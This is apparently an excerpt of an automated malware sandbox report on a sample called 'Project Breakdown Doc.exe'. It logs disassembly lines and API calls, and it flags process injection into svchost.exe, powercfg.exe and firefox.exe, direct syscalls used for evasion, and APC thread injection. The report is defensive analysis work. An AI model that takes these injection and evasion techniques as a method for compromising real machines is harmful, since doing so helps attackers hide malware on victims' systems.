Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03BF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BF8B28 mov eax, dword ptr fs:[00000030h]	1_2_03BF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C02B57 mov eax, dword ptr fs:[00000030h]	1_2_03C02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C02B57 mov eax, dword ptr fs:[00000030h]	1_2_03C02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C02B57 mov eax, dword ptr fs:[00000030h]	1_2_03C02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C02B57 mov eax, dword ptr fs:[00000030h]	1_2_03C02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAEB1D mov eax, dword ptr fs:[00000030h]	1_2_03BAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04B00 mov eax, dword ptr fs:[00000030h]	1_2_03C04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B2CB7E mov eax, dword ptr fs:[00000030h]	1_2_03B2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28B50 mov eax, dword ptr fs:[00000030h]	1_2_03B28B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDEB50 mov eax, dword ptr fs:[00000030h]	1_2_03BDEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03BE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BE4B4B mov eax, dword ptr fs:[00000030h]	1_2_03BE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03BC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC6B40 mov eax, dword ptr fs:[00000030h]	1_2_03BC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFAB40 mov eax, dword ptr fs:[00000030h]	1_2_03BFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD8B42 mov eax, dword ptr fs:[00000030h]	1_2_03BD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03B38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B38AA0 mov eax, dword ptr fs:[00000030h]	1_2_03B38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B86AA4 mov eax, dword ptr fs:[00000030h]	1_2_03B86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B68A90 mov edx, dword ptr fs:[00000030h]	1_2_03B68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3EA80 mov eax, dword ptr fs:[00000030h]	1_2_03B3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04A80 mov eax, dword ptr fs:[00000030h]	1_2_03C04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03B6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6AAEE mov eax, dword ptr fs:[00000030h]	1_2_03B6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30AD0 mov eax, dword ptr fs:[00000030h]	1_2_03B30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03B64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B64AD0 mov eax, dword ptr fs:[00000030h]	1_2_03B64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B86ACC mov eax, dword ptr fs:[00000030h]	1_2_03B86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B86ACC mov eax, dword ptr fs:[00000030h]	1_2_03B86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B86ACC mov eax, dword ptr fs:[00000030h]	1_2_03B86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B54A35 mov eax, dword ptr fs:[00000030h]	1_2_03B54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B54A35 mov eax, dword ptr fs:[00000030h]	1_2_03B54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6CA24 mov eax, dword ptr fs:[00000030h]	1_2_03B6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5EA2E mov eax, dword ptr fs:[00000030h]	1_2_03B5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBCA11 mov eax, dword ptr fs:[00000030h]	1_2_03BBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BACA72 mov eax, dword ptr fs:[00000030h]	1_2_03BACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BACA72 mov eax, dword ptr fs:[00000030h]	1_2_03BACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03B6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03B6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6CA6F mov eax, dword ptr fs:[00000030h]	1_2_03B6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BDEA60 mov eax, dword ptr fs:[00000030h]	1_2_03BDEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B36A50 mov eax, dword ptr fs:[00000030h]	1_2_03B36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40A5B mov eax, dword ptr fs:[00000030h]	1_2_03B40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B40A5B mov eax, dword ptr fs:[00000030h]	1_2_03B40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB89B3 mov esi, dword ptr fs:[00000030h]	1_2_03BB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03BB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB89B3 mov eax, dword ptr fs:[00000030h]	1_2_03BB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B429A0 mov eax, dword ptr fs:[00000030h]	1_2_03B429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B309AD mov eax, dword ptr fs:[00000030h]	1_2_03B309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B309AD mov eax, dword ptr fs:[00000030h]	1_2_03B309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B629F9 mov eax, dword ptr fs:[00000030h]	1_2_03B629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B629F9 mov eax, dword ptr fs:[00000030h]	1_2_03B629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBE9E0 mov eax, dword ptr fs:[00000030h]	1_2_03BBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B3A9D0 mov eax, dword ptr fs:[00000030h]	1_2_03B3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B649D0 mov eax, dword ptr fs:[00000030h]	1_2_03B649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFA9D3 mov eax, dword ptr fs:[00000030h]	1_2_03BFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC69C0 mov eax, dword ptr fs:[00000030h]	1_2_03BC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C04940 mov eax, dword ptr fs:[00000030h]	1_2_03C04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB892A mov eax, dword ptr fs:[00000030h]	1_2_03BB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BC892B mov eax, dword ptr fs:[00000030h]	1_2_03BC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBC912 mov eax, dword ptr fs:[00000030h]	1_2_03BBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28918 mov eax, dword ptr fs:[00000030h]	1_2_03B28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B28918 mov eax, dword ptr fs:[00000030h]	1_2_03B28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE908 mov eax, dword ptr fs:[00000030h]	1_2_03BAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BAE908 mov eax, dword ptr fs:[00000030h]	1_2_03BAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD4978 mov eax, dword ptr fs:[00000030h]	1_2_03BD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BD4978 mov eax, dword ptr fs:[00000030h]	1_2_03BD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBC97C mov eax, dword ptr fs:[00000030h]	1_2_03BBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B56962 mov eax, dword ptr fs:[00000030h]	1_2_03B56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B56962 mov eax, dword ptr fs:[00000030h]	1_2_03B56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B56962 mov eax, dword ptr fs:[00000030h]	1_2_03B56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B7096E mov eax, dword ptr fs:[00000030h]	1_2_03B7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B7096E mov edx, dword ptr fs:[00000030h]	1_2_03B7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B7096E mov eax, dword ptr fs:[00000030h]	1_2_03B7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BB0946 mov eax, dword ptr fs:[00000030h]	1_2_03BB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03C008C0 mov eax, dword ptr fs:[00000030h]	1_2_03C008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BBC89D mov eax, dword ptr fs:[00000030h]	1_2_03BBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B30887 mov eax, dword ptr fs:[00000030h]	1_2_03B30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03B6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B6C8F9 mov eax, dword ptr fs:[00000030h]	1_2_03B6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03BFA8E4 mov eax, dword ptr fs:[00000030h]	1_2_03BFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B5E8C0 mov eax, dword ptr fs:[00000030h]	1_2_03B5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov eax, dword ptr fs:[00000030h]	1_2_03B52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov eax, dword ptr fs:[00000030h]	1_2_03B52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov eax, dword ptr fs:[00000030h]	1_2_03B52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov ecx, dword ptr fs:[00000030h]	1_2_03B52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov eax, dword ptr fs:[00000030h]	1_2_03B52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03B52835 mov eax, dword ptr fs:[00000030h]	1_2_03B52835

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C981F7 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00C981F7

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6A395 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_00C6A395
Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Code function: 0_2_00C6A364 SetUnhandledExceptionFilter,		0_2_00C6A364

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtOpenSection: Direct from: 0x76F02E0C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtSetInformationThread: Direct from: 0x76EF63F9	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtCreateFile: Direct from: 0x76F02FEC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtOpenFile: Direct from: 0x76F02DCC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQueryInformationToken: Direct from: 0x76F02CAC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtTerminateThread: Direct from: 0x76F02FCC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtOpenKeyEx: Direct from: 0x76F02B9C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtSetInformationProcess: Direct from: 0x76F02C5C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtCreateMutant: Direct from: 0x76F035CC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtMapViewOfSection: Direct from: 0x76F02D1C	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtResumeThread: Direct from: 0x76F036AC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtReadFile: Direct from: 0x76F02ADC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtDelayExecution: Direct from: 0x76F02DDC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtQueryInformationProcess: Direct from: 0x76F02C26	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtResumeThread: Direct from: 0x76F02FBC	Jump to behavior
Source: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe	NtCreateUserProcess: Direct from: 0x76F0371C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\powercfg.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\powercfg.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\powercfg.exe

Thread register set: target process: 7928

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\powercfg.exe

Thread APC queued: target process: C:\Program Files (x86)\GzlfDizlOFsCEsVHarsTCLGgMRlFWzwRRlvlADjOGGIbgLJjxnCJwgZCQa\VFfhzkOtKq.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3131008

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C98C93 LogonUserW,

0_2_00C98C93

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C43B4C GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00C43B4C

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00C44A35 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00C44A35

Source: C:\Users\user\Desktop\Project Breakdown Doc.exe

Code function: 0_2_00CA4EC9 mouse_event,

0_2_00CA4EC9

